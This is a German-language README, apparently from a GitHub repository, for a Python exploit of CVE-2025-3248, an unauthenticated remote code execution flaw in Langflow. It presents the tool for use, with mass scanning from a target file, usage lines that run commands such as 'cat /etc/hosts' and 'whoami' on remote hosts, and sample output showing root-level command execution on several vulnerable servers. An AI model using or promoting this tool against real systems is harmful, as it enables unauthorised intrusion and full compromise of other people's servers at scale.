Langflow CVE-2025-3248 Exploit

Ein Python-basierter Exploit für CVE-2025-3248, der entfernten und nicht authentifizierten Angreifern ermöglicht, beliebigen Code auf verwundbaren Langflow-Instanzen durch manipulierte HTTP-Anfragen auszuführen.

Funktionen

• Einzel-URL oder Massen-Scan aus Datei
• Automatische Erkennung von Schwachstellen
• Befehlsausführungsfähigkeit
• Detaillierte Ausgabe mit Zeitinformationen
• Ergebnisse werden in getrennten Dateien für verwundbare und nicht verwundbare Ziele gespeichert
• Benchmark-Statistiken für die Scan-Leistung

Verwendung

Einzel-URL-Scan

python CVE-2025-3248.py http://target-url -c "cat /etc/hosts"

Massen-Scan aus Datei

python CVE-2025-3248.py -f targets.txt

Benutzerdefinierte Befehlsausführung

python CVE-2025-3248.py -f targets.txt -c "whoami"

Beispielausgabe

[*] Progress: 1/10 URLs checked
[*] Checking https://example.com
[+] Vulnerable - Command Output:
uid=0(root) gid=0(root) groups=0(root)
--------------------------------------------------

[*] Scan Summary:
[+] Total URLs checked: 10
[+] Vulnerable URLs: 3
[+] Not Vulnerable URLs: 7
[*] Total scan time: 25.34s
[*] Results saved to files with timestamp

Quelle: https://github.com/verylazytech